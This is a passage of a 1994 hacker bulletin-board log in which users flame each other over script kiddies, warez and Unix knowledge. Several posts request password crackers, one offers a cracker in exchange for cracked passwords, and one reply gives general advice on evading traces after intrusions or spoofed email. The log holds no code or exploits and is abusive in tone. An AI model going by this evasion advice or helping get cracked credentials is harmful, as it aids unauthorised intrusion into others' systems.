keeps you guys in business, an 8lgm script does it all and you dont have
to know a damn thing.
Anyhow, you just run along now m8.
Cosmos
From DrClaw@yabbs Wed Jun 1 11:18:04 1994
From: DrClaw@yabbs
To: cosmos@yabbs
Subject: what an asshole
Date: Wed Jun 1 11:18:04 1994
oh look at me...i want to be a lamer like cosmos. Oh
iam so cool cause i can just flame anything. Oh bow down
before me you unholy people..
get a life asshole
From cosmos@yabbs Wed Jun 1 14:46:29 1994
From: cosmos@yabbs
To: DrClaw@yabbs
Subject: re: what an asshole
Date: Wed Jun 1 14:46:29 1994
In message what an asshole, DrClaw said:
> oh look at me...i want to be a lamer like cosmos. Oh
> iam so cool cause i can just flame anything. Oh bow down
> before me you unholy people..
You forgot to mention, "I am a |<-RaD motherfucker."
>
> get a life asshole
Hmmmm....perhaps by haqin 3l33t systems and using my redbox.
Cosmos
From buzzbomb@yabbs Wed Jun 1 17:39:06 1994
From: buzzbomb@yabbs
To: cosmos@yabbs
Subject: re: what an asshole
Date: Wed Jun 1 17:39:06 1994
so is this a flame base or a hack base?
sheesh...so start postin' some codezzzzzz d00dzzzz, and like i'll tell
ya where the warezzzzzzz g00diezzzzz are!
blah whatever. ppl suck.
From ButtrBoy@yabbs Wed Jun 1 17:40:04 1994
From: ButtrBoy@yabbs
To: all@yabbs
Subject: re: what an asshole
Date: Wed Jun 1 17:40:04 1994
hahahaha!
HooBoy you guys are a riot. I think mebbe you guys don't give
Cos enough credit, the ornery old bastard. He knows plenty
about OSs, unix specifically...been around long enough,
i guess. Cos--you heard about plan 9? know anything about it?
I got a redbox, i admit, but it's nothing special, really.
Just use it to call my girlfriend while she's away :'(
I give a lot more credit to people who know x25 networks
and pbx's and are serious about learning how systems work.
I just got my account restored after my sysadmins discovered
a cracked passwd file and ypx and satan and (yep, cos, you
guessed it) 8lgm and bugtraq scripts and nuke etc. They
also discovered it was 30 megs larger than it was sposed to
be. So no more toolin' around for me, imma learn UNIX the
hard way and set up a box myself, mebbe SLIPed in, running
NetBSD, instead of trying to glean shit from the tons of
scripts and crap people dcc or mail me.
It's funny, when you think about it, how much you can do
without really understanding how it works. SMTP, fer
example. Hell, any protocol, really. That's why i think all
hackers should try to read as many rfc's as they can,
instead of running programs other people wrote or
following instructions other people give. That's not
hacking. That's not learning. That's just leeching.
anyhowz, my $.02.
-=ButterBoy=-
From cosmos@yabbs Wed Jun 1 22:30:55 1994
From: cosmos@yabbs
To: ButtrBoy@yabbs
Subject: re: what an asshole
Date: Wed Jun 1 22:30:55 1994
On the right track my friend. Codez kiddies just don't seem to
understand that those scripts had to come from somewhere. Hacking has
fizzled down to kids running scripts, red box antics, and collectin mags
to show off at a 2600 meet. Gone are the inquisitive natures collected
behind systems hacking.
And another thing, since when did hacking become collecting cracked
accounts...pffft.
Cosmos
From uufnord@yabbs Thu Jun 2 03:07:24 1994
From: uufnord@yabbs
To: cosmos@yabbs
Subject: re: what an arsehole
Date: Thu Jun 2 03:07:24 1994
Scripts had to come from somewhere? Really? I thought they were
automagically generated from the emissions of pulsar X9 and then
stegan-o-fucked into the pictures of naked babees in Penthouse, scanned,
decoded, and transcribed, and then placed on Usenet.
Maybe I don't have a clue. Maybe all that I thought was actually a
delusion and nothing exists except my mind imagining all these things.
Nah.. I got a penthouse to read.
From Jeremiah@yabbs Sat Jun 4 01:02:38 1994
From: Jeremiah@yabbs
To: cosmos@yabbs
Subject: shit you'll find...
Date: Sat Jun 4 01:02:38 1994
Believe it or not I found 2 or 3 scripts on some localz around here...
I know I'm not the cool guy hacker, but doesn't that defeat the point of
hacking if someone wrote the damn script and you just run it????
From cosmos@yabbs Sat Jun 4 01:37:35 1994
From: cosmos@yabbs
To: Jeremiah@yabbs
Subject: re: shit you'll find...
Date: Sat Jun 4 01:37:35 1994
In message shit you'll find..., Jeremiah said:
> Believe it or not I found 2 or 3 scripts on some localz around here...
> I know I'm not the cool guy hacker, but doesn't that defeat the point of
> hacking if someone wrote the damn script and you just run it????
Hacking, yes.
Cracking, no. If all you want to do is break into a system grab root and
do whatever, a couple of scripts can be a handy tool.
Cosmos
From slohack@yabbs Sat Jun 4 16:23:50 1994
From: slohack@yabbs
To: all@yabbs
Subject: anybody seen this?
Date: Sat Jun 4 16:23:50 1994
Anybody ever heard of a PACKIT/6 System? It is some kind of software
interface for a ISDN net. I found one at a University on there net. It
seems to have all sorts of setup shit for their ISDN lines. Kinda cool,
but some of the stuff needs a pwd. Anybody got an sources/manuals/info on
it? tHANKS....
Latez....
SLOHACK
From scudder@yabbs Sat Jun 4 21:00:19 1994
From: scudder@yabbs
To: all@yabbs
Subject: info request..
Date: Sat Jun 4 21:00:19 1994
Greetings all, (go ahead and flame me cosmos)
Has anyone heard of a model PR25A Conductor Tagger & Analyzer? It's made
by Perkins Research & Manufacturing Co. Inc. and I found a manual for one
in my local Bell office's dumpster and as far as I can tell it involves
tagging, simplexing, and monitoring....Whoever has more info lemme know
Thanx.
From elixirio@yabbs Tue Jun 7 08:51:28 1994
From: elixirio@yabbs
To: all@yabbs
Subject: help
Date: Tue Jun 7 08:51:28 1994
Is there anybody out there who has Cracker Jack or something like
that (UNIX/VMS passwd cracker) ?
If you do please send it to TEI_S1@xanthi.cc.duth.gr !!
If you don't contact me also for exanging hacking infos and progs.
P.S. I am also searching for for ftp sites with hacking stuff.
From buzzbomb@yabbs Tue Jun 7 10:10:33 1994
From: buzzbomb@yabbs
To: cosmos@yabbs
Subject: re: shit you'll find...
Date: Tue Jun 7 10:10:33 1994
they couild come in handy for hacking too... not running them, but
reading them and analyzing them to see how they work. i've never seen
these scripts you're talking about (i'd like to check them out if
anyne can point me to them) but i'm sure a person could learn from
them if they took the time to try.
From cosmos@yabbs Tue Jun 7 13:57:56 1994
From: cosmos@yabbs
To: elixirio@yabbs
Subject: re: help
Date: Tue Jun 7 13:57:56 1994
In message help, elixirio said:
> Is there anybody out there who has Cracker Jack or something like
> that (UNIX/VMS passwd cracker) ?
Wonderful, more wankers online. Try archie and FTP you stupid fuck.
> If you do please send it to TEI_S1@xanthi.cc.duth.gr !!
How about a nice big core?
> If you don't contact me also for exanging hacking infos and progs.
> P.S. I am also searching for for ftp sites with hacking stuff.
You my friend couldn't hack your way out of a paper bag.
wankers.
Cosmos
From cosmos@yabbs Tue Jun 7 13:59:33 1994
From: cosmos@yabbs
To: buzzbomb@yabbs
Subject: re: shit you'll find...
Date: Tue Jun 7 13:59:33 1994
In message re: shit you'll find..., buzzbomb said:
> they couild come in handy for hacking too... not running them, but
> reading them and analyzing them to see how they work. i've never seen
> these scripts you're talking about (i'd like to check them out if
> anyne can point me to them) but i'm sure a person could learn from
> them if they took the time to try.
Yes, one could. They are quite good. Read comp.security.unix on usenet,
that is where they are posted regularly. Or drop me a request at:
coz@cyberspace.org and Ill email them to ya.
Cosmos
From cosmos@yabbs Wed Jun 8 03:00:36 1994
From: cosmos@yabbs
To: Markus@yabbs
Subject: re: shit you'll find...
Date: Wed Jun 8 03:00:36 1994
In message re: shit you'll find..., Markus said:
> Really, this is not for CoSMoS, but the fer the person who posted about
> Cracker Jack. I could give it to ya. I'd also like a list of the
> passwords when they're cracked and the address of the system they're on.
This is too lame, it can't be true. A blatant plug for cracked passwords
on a public BBS...can't get any more 3l33t than that m8's....
Alex will delete this as soon as he sees it, I am still laughing now...
>
> OBeLiX
> [WRiTeR FoR PhP]
PhP must be pretty desperate for membership if all they can get is
complete wankers who beg for cracked passwords. Then again, 99.9% of all
groups are a bunch of pathetic arses who form a collective group of wankers.
Still amused...
Cosmos
From Kashmir@yabbs Fri Jun 10 15:07:03 1994
From: Kashmir@yabbs
To: ButtrBoy@yabbs
Subject: re: what an asshole
Date: Fri Jun 10 15:07:03 1994
Where'd you get satan? I thought it was still being made..
From buzzbomb@yabbs Fri Jun 10 23:58:02 1994
From: buzzbomb@yabbs
To: cosmos@yabbs
Subject: re: shit you'll find...
Date: Fri Jun 10 23:58:02 1994
oh yeah.... you're on cyberspace.org... "coz". sure.
and they post them on comp.security...? wow.... sure.
c00l sarc@zm d00d!!!
From cosmos@yabbs Sat Jun 11 00:16:38 1994
From: cosmos@yabbs
To: buzzbomb@yabbs
Subject: re: shit you'll find...
Date: Sat Jun 11 00:16:38 1994
In message re: shit you'll find..., buzzbomb said:
> oh yeah.... you're on cyberspace.org... "coz". sure.
No, but I have a mail forwarder there.
>
> and they post them on comp.security...? wow.... sure.
>
If you are referring to the 8lgm advisories, yes they do. Perhaps if you
got your head out of your pathetic ass and checked it out you might not
be such a clueless little fuck.
> c00l sarc@zm d00d!!!
You aint seen nothing yet m8.
Cosmos
From Zbadba@yabbs Sat Jun 11 01:36:22 1994
From: Zbadba@yabbs
To: cosmos@yabbs
Subject: mail forwarder
Date: Sat Jun 11 01:36:22 1994
Any chance I might nab that forwarder?
I've got a couple of accounts on grex, and it'd be nice to have them all
sent to one convenient location.
From rattler@yabbs Sat Jun 11 11:26:21 1994
From: rattler@yabbs
To: all@yabbs
Subject: help
Date: Sat Jun 11 11:26:21 1994
anybody know anythinh about a FLEXIM someorsuch system ?
just happened to call one by accident.
From feotus@yabbs Sat Jun 11 17:07:49 1994
From: feotus@yabbs
To: Zbadba@yabbs
Subject: re: mail forwarder
Date: Sat Jun 11 17:07:49 1994
couple accounts? fucker why waste good resources provided to the public
like that. I could kill ya.
geesh one is enough, it's not like their draconian in their policy or
anything.
get a clue man, dont waste the time and energy of poeple who are ot to
help.
From PhE@yabbs Sat Jun 11 17:27:30 1994
From: PhE@yabbs
To: all@yabbs
Subject: Read
Date: Sat Jun 11 17:27:30 1994
Ionic Destruction
(215).722.0570
SysOp-Phatal Error
CoS-Anonymous Caller
NUP: ROOM 246
H/P/A/V/C/T
No ]<-RaD Warez
UsRobotics 16.8 Dual Standard
MoRGUE Textz World Headquarters
Legend Virii Eastern Headquarters
F.U.C.K. Text East Headquarters
Satanic Sinners Service Distribution
CorrupTed Trojan Developments Distribution
2400/9600/14400/16800 v42/v32/v32bis
From cosmos@yabbs Sat Jun 11 18:06:42 1994
From: cosmos@yabbs
To: Zbadba@yabbs
Subject: re: mail forwarder
Date: Sat Jun 11 18:06:42 1994
In message mail forwarder, Zbadba said:
> Any chance I might nab that forwarder?
> I've got a couple of accounts on grex, and it'd be nice to have them all
> sent to one convenient location.
try placing a .forward file in your home directory....
Cosmos
From cosmos@yabbs Sat Jun 11 18:11:39 1994
From: cosmos@yabbs
To: PhE@yabbs
Subject: re: Read
Date: Sat Jun 11 18:11:39 1994
In message Read, PhE said:
>
>
>
>
> No ]<-RaD Warez
> ^^^^^^^^^^^^^^^
> UsRobotics 16.8 Dual Standard
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Hmmmm...what single occurence singles out a WaReZ board...
> MoRGUE Textz World Headquarters
>
> Legend Virii Eastern Headquarters
>
> F.U.C.K. Text East Headquarters
>
> Satanic Sinners Service Distribution
>
> CorrupTed Trojan Developments Distribution
>
God, I am impressed. Nothing like good ole holsum reading to get the
spirits up. This character is just too 3l33t for me. B0aRdZ r lAm3
d00d, Int3Rn3tz 3l33t!!!
Cosmos
From Zbadba@yabbs Sat Jun 11 22:04:57 1994
From: Zbadba@yabbs
To: feotus@yabbs
Subject: re: mail forwarder
Date: Sat Jun 11 22:04:57 1994
I do nothing with that system but use it as a convenient mailing point.
I don't store any files, recieve usenet or any such nonsense.
However, I have the need for two accounts, one in my real name (that I can
use for professional contacts) and one with my handle (for personal
contacts). As of right now, I've set my mail to be forwarded to my home
system. All this means that I never actually log on anymore. MY two
accounts are currently using fewer resources than one active account
there.
Frankly, feo, I think you've prejudged me.
That's really a bad habit to get into, but then, I've sensed a recurring
pattern in that area with you.
(Translation: Chill out. I've no qualms with you, and I'd rather not start
a flame war.)
From Zbadba@yabbs Sat Jun 11 22:07:27 1994
From: Zbadba@yabbs
To: cosmos@yabbs
Subject: re: mail forwarder
Date: Sat Jun 11 22:07:27 1994
>try placing a .forward file in your home directory....
<thwap>
I feel sheepish. Pity me, I still have to deal with DOS, and I'm used to
the DOS way of doing things (i.e. kludge programming to make up for the
shitty OS deficiencies). Relatively, I'm a UNIX newbie.
From feotus@yabbs Sun Jun 12 12:50:49 1994
From: feotus@yabbs
To: Zbadba@yabbs
Subject: re: mail forwarder
Date: Sun Jun 12 12:50:49 1994
no problem, but I have seen a TON of lamers from other areas use
cyberspace as a junk yard and basically abuse it. And I think you'll
agree after hangig out here for awhile that when you see someone say "i
have several accounts oin such and such" that chances are they are some
wanker abusing free shit.
I have one there myself for professional and handle contacts, but my real
name isnt used. Nice system, and some lamers actually tried to crack it
with some *LGM scripts, too bad it has all the scripted holes patched,
those guys are the epitome of asswipe trying to crack a sysem providing
services, and operating as TAZ on the net. that's like biting your own
heel.
From Justbob@yabbs Mon Jun 20 15:39:28 1994
From: Justbob@yabbs
To: all@yabbs
Subject: cyberspace.org
Date: Mon Jun 20 15:39:28 1994
woo wooo, pub unix! where to i sign up?!
(hey binkley, shouldv'e known i'd find you here:)
From mad-mind@yabbs Thu Jun 23 06:31:13 1994
From: mad-mind@yabbs
To: PhE@yabbs
Subject: BBS
Date: Thu Jun 23 06:31:13 1994
Your system has an interesting logon screen.
From Kamakize@yabbs Sat Jun 25 19:40:26 1994
From: Kamakize@yabbs
To: cosmos@yabbs
Subject: re: Delphi
Date: Sat Jun 25 19:40:26 1994
Well i have had my Delphi account for a LONG time before they
had Internet, and you used to could Bonce from city to city (they ahd
Boston,NYC,LA,and Argentia Delphi) it was cool. then intenet came
and its starting to suck, only reason i kep delphi is cuz parentsz pay for
it
he
From Kamakize@yabbs Sat Jun 25 19:44:33 1994
From: Kamakize@yabbs
To: cosmos@yabbs
Subject: re: LoCaLiTy...
Date: Sat Jun 25 19:44:33 1994
Yah i go to the dc-2600 meetings about 4-5 tiks a year (hey it is a 3 hour
drive) but there are warez kiddies and a guy trying to sell a red box for
100$ alot. hehhe but we do have fun taking pcitures of the infamous
Mall Secuirty guys. i have pictures will bring them to DC 2600 if i
remember
he gawdf its so fucking funny how thye do it. and that camera my gawd its
so funny.. i cant help from laughing.
but dc 2600 is cool in ways accualy talk goes on. EFF showes up sometimes
im just wating for the BUST #2 to come. or news to slam into there
again...
From GPF@yabbs Sat Jun 25 20:19:44 1994
From: GPF@yabbs
To: Kamakize@yabbs
Subject: re: LoCaLiTy...
Date: Sat Jun 25 20:19:44 1994
what fucking language are you speaking dude?
From cosmos@yabbs Sat Jun 25 23:43:15 1994
From: cosmos@yabbs
To: Kamakize@yabbs
Subject: re: Delphi
Date: Sat Jun 25 23:43:15 1994
In message re: Delphi, Kamakize said:
> Well i have had my Delphi account for a LONG time before they
> had Internet, and you used to could Bonce from city to city (they ahd
> Boston,NYC,LA,and Argentia Delphi) it was cool. then intenet came
> and its starting to suck, only reason i kep delphi is cuz parentsz pay for
> it
> he
Oh christ.....
D3Lp|-|| |Z 3l33T
Cosmos
From Egwene@yabbs Mon Jun 27 05:34:18 1994
From: Egwene@yabbs
To: all@yabbs
Subject: KOH
Date: Mon Jun 27 05:34:18 1994
How do I get KOH from ftp.netcom.com/bradleym/hidden/gS76ytfFd
It says if you are in the U.S. you can get it but then it says access
denied. Does anyone know of another source I can get it at.
Egwene
From cosmos@yabbs Tue Jun 28 00:05:13 1994
From: cosmos@yabbs
To: Egwene@yabbs
Subject: re: KOH
Date: Tue Jun 28 00:05:13 1994
In message KOH, Egwene said:
> How do I get KOH from ftp.netcom.com/bradleym/hidden/gS76ytfFd
> It says if you are in the U.S. you can get it but then it says access
> denied. Does anyone know of another source I can get it at.
> Egwene
i have no fucking clue as to what KOH is, but it smells like \/\/aR3Z to
me....
Cosmos
From Dim@yabbs Tue Jun 28 01:45:34 1994
From: Dim@yabbs
To: all@yabbs
Subject: tracing
Date: Tue Jun 28 01:45:34 1994
How difficult is it to trace through someone thru the net that doesn't
have an account? Say you have access through a dial up, but it's
anonymous, and you can telnet out. Fake email couldn't be traced back to
you, only to your host? If an admin saw a little hacking goin on in his
system, and traced the caller, would he be stopped at the dial-up? If
anyone wants to help me out here, or flame me (cosmos), feel free...
From cosmos@yabbs Tue Jun 28 02:19:55 1994
From: cosmos@yabbs
To: Dim@yabbs
Subject: re: tracing
Date: Tue Jun 28 02:19:55 1994
In message tracing, Dim said:
> How difficult is it to trace through someone thru the net that doesn't
> have an account? Say you have access through a dial up, but it's
> anonymous, and you can telnet out. Fake email couldn't be traced back to
> you, only to your host? If an admin saw a little hacking goin on in his
> system, and traced the caller, would he be stopped at the dial-up? If
> anyone wants to help me out here, or flame me (cosmos), feel free...
So one wants to cause a little trouble eh....
Fake email will be easily traced to your host unless you know your SMTP
and I doubt you do. No problem though, figuring its not your account
anyhow what do you care. An admin cant trace you unless they have caller
id which is easily stopped on your end... He cant access a trace like
bellcore or anything, to get one he would have to go through all sorts of
legal channels etc...
Now if he went to the authorities and showed them evidence of break in
and was persistant enough they could eventually pull out telco logs of
who had called the system at the given time...putting that against system
logs could reveal you.
Anyhow, sounds pretty lame to me. But if you want to waste your time
with spoofed mail suit yourself. I doubt any admin will bother to track
you down though. They will just shut down the account in question.
Cosmos
From Egwene@yabbs Tue Jun 28 09:29:40 1994
From: Egwene@yabbs
To: cosmos@yabbs
Subject: re: KOH
Date: Tue Jun 28 09:29:40 1994
Never mind, I figured it out, its just a new virus.
From balistic@yabbs Wed Jun 29 18:13:05 1994
From: balistic@yabbs
To: all@yabbs
Subject: *ulp* Help!
Date: Wed Jun 29 18:13:05 1994
Recently, while online, my crt suddenly went blank and my PC started
to reset itself repeatedly, has this happened to anyone else?
is it a virus or a glitch in my hardware?
any input would be appreciated
BALISTIC
From Xela@yabbs Thu Jun 30 00:04:02 1994
From: Xela@yabbs
To: balistic@yabbs
Subject: hmm..
Date: Thu Jun 30 00:04:02 1994
before you start looking for viruses or hardware problems, look at all
your connections: wires, board connections, etc. Seems obvious, but
sometimes people forget...
From balistic@yabbs Thu Jun 30 15:02:33 1994
From: balistic@yabbs
To: Xela@yabbs
Subject: thanx
Date: Thu Jun 30 15:02:33 1994
Thanx Xela, every little bit of advice helps, re-thanx
From cable@yabbs Fri Jul 1 13:26:27 1994
From: cable@yabbs
To: all@yabbs
Subject: stacker 4.0
Date: Fri Jul 1 13:26:27 1994
hey,i have a problem with stacker 4.0, it will not load because the
stacvol.dsk if "too fragmented" to mount it tells me to do a "/f" but i do
not know where so i have done it everywhere and nothing. i have no manual
so i need help to defrag the drive so i can mount it. thannkz a lot my
-mail address is bxcabl01@msuacad.morehead-st.edu
thanx a lot
From PyR0@yabbs Fri Jul 1 16:03:23 1994
From: PyR0@yabbs
To: all@yabbs
Subject: Where is the 0 dayz
Date: Fri Jul 1 16:03:23 1994
Where are the 0 day warez on this board?? Can anyone tell me any c00l
sites with warez??? Or any bbs around that carry warez for dos/windows
and games
tnx d00dz
From slohack@yabbs Fri Jul 1 16:49:32 1994
From: slohack@yabbs
To: PyR0@yabbs
Subject: re: Where is the 0 dayz
Date: Fri Jul 1 16:49:32 1994
I not even going to say anything.....:)
From Jeremiah@yabbs Fri Jul 1 17:50:18 1994
From: Jeremiah@yabbs
To: PyR0@yabbs
Subject: Wait till Cosmos sees this.
Date: Fri Jul 1 17:50:18 1994
Uh.... Since when does :<-Rad \\//\\//ar3z have anything to do with
hacking? Tsk. Tsk. Didn't they ever tell you that pirating sofware is a
no-no... I work for the SPA and I have already checked your E-Mail
address, and I know where you live. You will cease all pirating and
delete EVERY illegitimate copy of any program ever made. I will send you
E-Mail regarding your crimes.
From Jeremiah@yabbs Fri Jul 1 17:55:30 1994
From: Jeremiah@yabbs
To: all@yabbs
Subject: anyway....
Date: Fri Jul 1 17:55:30 1994
I like acting... I'm not in a creative mood though...
"HEY D00DZ I NeeD SoMe \/\/ar3z. Thanx C00L D00D!
:_ame
From Jeremiah@yabbs Fri Jul 1 18:00:22 1994
From: Jeremiah@yabbs
To: all@yabbs
Subject: Sunsite?
Date: Fri Jul 1 18:00:22 1994
I tried jumping onto sunsite and it said that it was temporaily down
due to "Childish Hacking"... Anyone know any details?
From dmonger@yabbs Fri Jul 1 20:06:38 1994
From: dmonger@yabbs
To: PyR0@yabbs
Subject: re: Where is the 0 dayz
Date: Fri Jul 1 20:06:38 1994
haa haa haa
hoo hoo hoo
hee hee hee
stop, i'll pee
-peter
From cosmos@yabbs Sat Jul 2 00:19:48 1994
From: cosmos@yabbs
To: Jeremiah@yabbs
Subject: re: Sunsite?
Date: Sat Jul 2 00:19:48 1994
In message Sunsite?, Jeremiah said:
> I tried jumping onto sunsite and it said that it was temporaily down
> due to "Childish Hacking"... Anyone know any details?
And the crackers come out to play on linux...silly wankers using linux
hack the main distribution site??? What a way to show support for the
OS...course it will probably be blamed on Jesus Monroy... ;)
Cosmos
From Dim@yabbs Sat Jul 2 15:16:52 1994
From: Dim@yabbs
To: all@yabbs
Subject: re: Sunsite?
Date: Sat Jul 2 15:16:52 1994
Well I was on sunsite yesterday, so they must have cleared up their
hacking problems...
From Jeremiah@yabbs Sat Jul 2 18:46:24 1994
From: Jeremiah@yabbs
To: Dim@yabbs
Subject: Aye
Date: Sat Jul 2 18:46:24 1994
Yeah, no cutesy little logon message anymore.... Oh well...
From Mystery@yabbs Sun Jul 3 16:46:12 1994
From: Mystery@yabbs
To: all@yabbs
Subject: FSP
Date: Sun Jul 3 16:46:12 1994
What is FSP and how does one use it? I've heard some things about it, but
haven't seen any sites where they use it...
From cosmos@yabbs Sun Jul 3 18:15:49 1994
From: cosmos@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Sun Jul 3 18:15:49 1994
In message FSP, Mystery said:
> haven't seen any sites where they use it...
FSP |Z 3l33t cUz ewe g3T |<-RaD \/\/aR3Z
Cosmos
(basically its the ad hoc of almost any warez junkie)
From dmonger@yabbs Mon Jul 4 20:38:43 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: FSP
Date: Mon Jul 4 20:38:43 1994
you can find some cool demos off it too (not that i remember where).
it would be a neat idea if it wasn't such a fucking slow protocol. :)
(geek joke )
-peter
From Mystery@yabbs Wed Jul 6 16:26:49 1994
From: Mystery@yabbs
To: cosmos@yabbs
Subject: re: FSP
Date: Wed Jul 6 16:26:49 1994
How does one get FSP and where are some sites where one can use it?
From GPF@yabbs Wed Jul 6 19:37:59 1994
From: GPF@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Wed Jul 6 19:37:59 1994
i think there's a copy of fsp at sunsite.unc.edu..
you an get KrAd WaReZZZzZ at ftp.cert.org.... for more information..
write cert@cert.org with the subject line saying "3y3 n33d WaR3ZzZ!!$#!$"
gpf.....
From cosmos@yabbs Wed Jul 6 22:59:19 1994
From: cosmos@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Wed Jul 6 22:59:19 1994
In message re: FSP, Mystery said:
> How does one get FSP and where are some sites where one can use it?
>
Look up sarcasm. Then use a large caliber handgun at close range.
Cosmos
From Mystery@yabbs Fri Jul 8 00:03:21 1994
From: Mystery@yabbs
To: GPF@yabbs
Subject: re: FSP
Date: Fri Jul 8 00:03:21 1994
Yeah... I bet... You'd really post a site with pirate stuff to someone
you don't even know? Get real...
From cosmos@yabbs Fri Jul 8 00:41:05 1994
From: cosmos@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Fri Jul 8 00:41:05 1994
In message re: FSP, Mystery said:
> Yeah... I bet... You'd really post a site with pirate stuff to someone
> you don't even know? Get real...
>
Fuck off wanker. Sarcasm, learn it.
Cosmos
From Mystery@yabbs Fri Jul 8 17:38:53 1994
From: Mystery@yabbs
To: cosmos@yabbs
Subject: re: FSP
Date: Fri Jul 8 17:38:53 1994
Hey, I was just writing a message trying to find out some stuff... Why
don't you take your proabably miniscule little dick and shove it up your
own ass... I was asking for some public, legal FSP places... I was NOT
asking for some Pirate/Warez place.. Hell for all you know I could be
some cop or something... I know sarcasm, but I just thought that the
users on here would be a little more courteous when it came to helping
someone else on things... I guess I was wrong... Go crawl into a dark
cave and rot like the CRAP you are writing...
Now that that little flame is over, any out there that can honestly help
me?
From rattler@yabbs Fri Jul 8 17:48:10 1994
From: rattler@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Fri Jul 8 17:48:10 1994
thank you. you saved my day. i thought this was all gonna be moody,
gloomy, dead dank boring.
but no, my angel!
you YOU you came to the rescue.
thankyouthankyouthankyou.
From gpf_no_2@yabbs Fri Jul 8 17:53:44 1994
From: gpf_no_2@yabbs
To: Mystery@yabbs
Subject: re: FSP
Date: Fri Jul 8 17:53:44 1994
there are few legal fsp sites for many reasons... a) the only advantages
of fsp are that it is slightly harder to track that ftp and b) that it
creates less load for the server... otoh, it is limited to very,very slow
dtr.. (something like 1kps if i remember correctly...)
so it's only really useful for 3l33t \/\/aR3Z d00dZ (hahahaha) and kiddie
porn sickos...
...gpf
From gpf_no_2@yabbs Fri Jul 8 17:57:16 1994
From: gpf_no_2@yabbs
To: rattler@yabbs
Subject: re: FSP
Date: Fri Jul 8 17:57:16 1994
what the fuck?
followups to the poetry base... sheesh
From Justbob@yabbs Fri Jul 8 19:29:38 1994
From: Justbob@yabbs
To: gpf_no_2@yabbs
Subject: re: FSP
Date: Fri Jul 8 19:29:38 1994
Don't forget wuarchive.wustl.edu
I suppose that's a pretty damn big fsp site. But again, why ould you want
to use fsp...unless of course you couldn't get in on ftp...
From Delmar@yabbs Sat Jul 9 11:50:32 1994
From: Delmar@yabbs
To: PyR0@yabbs
Subject: re: Where is the 0 dayz
Date: Sat Jul 9 11:50:32 1994
My god. Is this how all internet HP sites are? This seems more
... childish? I thought this was an H/P base....
From Jeremiah@yabbs Sat Jul 9 12:13:55 1994
From: Jeremiah@yabbs
To: cosmos@yabbs
Subject: Phrack-44
Date: Sat Jul 9 12:13:55 1994
Was that your artical in Phrack-44 or was it someone with the same handle
as you? Just curious...
From Natalie@yabbs Sat Jul 9 16:53:20 1994
From: Natalie@yabbs
To: Delmar@yabbs
Subject: re: Where is the 0 dayz
Date: Sat Jul 9 16:53:20 1994
you thought wrong
natalie
From dmonger@yabbs Sat Jul 9 18:09:53 1994
From: dmonger@yabbs
To: Delmar@yabbs
Subject: re: Where is the 0 dayz
Date: Sat Jul 9 18:09:53 1994
who say s all hacking has to be on computers?
-peter
From Mystery@yabbs Sat Jul 9 23:30:19 1994
From: Mystery@yabbs
To: rattler@yabbs
Subject: re: FSP
Date: Sat Jul 9 23:30:19 1994
No problem... Glad to be of help... ;)
From Mystery@yabbs Sun Jul 10 00:28:20 1994
From: Mystery@yabbs
To: gpf_no_2@yabbs
Subject: re: FSP
Date: Sun Jul 10 00:28:20 1994
Why is it that people who thing they are really cool make things hard to
read by writing elite as 3l33t or dude as d00d or some crap like that?
From Zbadba@yabbs Sun Jul 10 00:37:56 1994
From: Zbadba@yabbs
To: Jeremiah@yabbs
Subject: re: Phrack-44
Date: Sun Jul 10 00:37:56 1994
"cosmos" is the handle of choice for would-be phone phreaks and
such all over america, seeing as how it's the name of a well known at&t
computer system. \
From cosmos@yabbs Sun Jul 10 01:39:40 1994
From: cosmos@yabbs
To: dmonger@yabbs
Subject: re: Where is the 0 dayz
Date: Sun Jul 10 01:39:40 1994
In message re: Where is the 0 dayz, dmonger said:
> who say s all hacking has to be on computers?
>
> -peter
>
The lame shits who read phrack, phun, LOD, (your 3l33t mag here)....
The same lame shits that then gather up 2.5 billion scripts and run them
all on some system(usually a freenet or their schools server).
The same lame shits that then boast and brag on #hack about how elite
they are and how its |<-rAd to have r00t access.
The same lame shits that couldnt explain the difference between Kerberos
and Secure RPC.
But then again, they dont have to....| g0tZ rdist scr|ptz d00d
Fuck em.
Cosmos
From cosmos@yabbs Sun Jul 10 01:42:22 1994
From: cosmos@yabbs
To: Zbadba@yabbs
Subject: re: Phrack-44
Date: Sun Jul 10 01:42:22 1994
In message re: Phrack-44, Zbadba said:
> "cosmos" is the handle of choice for would-be phone phreaks and
> such all over america, seeing as how it's the name of a well known at&t
> computer system. \
Actually, its a text written by Carl Sagan on astronomy and universal
physics...but I wont hold it against you.
As for phone phreaking, thievery aint my style.
Cosmos
From dmonger@yabbs Sun Jul 10 01:56:24 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: Where is the 0 dayz
Date: Sun Jul 10 01:56:24 1994
hell, i read phrak, at least back issues
i read 2600 sometimes
i don't take them as gospel tho
-peter
From Zbadba@yabbs Sun Jul 10 18:38:51 1994
From: Zbadba@yabbs
To: cosmos@yabbs
Subject: re: Phrack-44
Date: Sun Jul 10 18:38:51 1994
Actually, its a text written by Carl Sagan on astronomy and universal
physics...but I wont hold it against you.
---
Well met. It's a right good text, too.
From Badger01@yabbs Mon Jul 11 18:58:09 1994
From: Badger01@yabbs
To: cosmos@yabbs
Subject: re: Phrack-44
Date: Mon Jul 11 18:58:09 1994
>But I won't hold it against you.
Dude, you gotta watch it. That's a massive straight line. You left
yourself way open with that one.
But I won't hold it against you. :)
Badger01
From feotus@yabbs Mon Jul 11 19:47:09 1994
From: feotus@yabbs
To: Zbadba@yabbs
Subject: re: Phrack-44
Date: Mon Jul 11 19:47:09 1994
all Cosmos wasnt all that good of a book.
Carl sued Apple too 8)
cos, you got any rdist scripts man? My copy got deleted and now I cant
crack any sites man. I was so awesome as root. I even logged into IRC
from teh root account. And I can post to usenet from the root account
there too, everyone must really think I am a badass, and they had better,
orI'll fake mail them on port 25 dood.
(now that the sarcasm is out of the system)
Kerberos is to hard a system too use IMO. Meaning from teh admin point of
view it's not worht the trouble. We were looking at it for a site. It
has limitation for users outside the US, and IMO doesnt doa good job with
ket managment(but im a paranoid freek, go figure)
From cosmos@yabbs Tue Jul 12 00:41:00 1994
From: cosmos@yabbs
To: Badger01@yabbs
Subject: re: Phrack-44
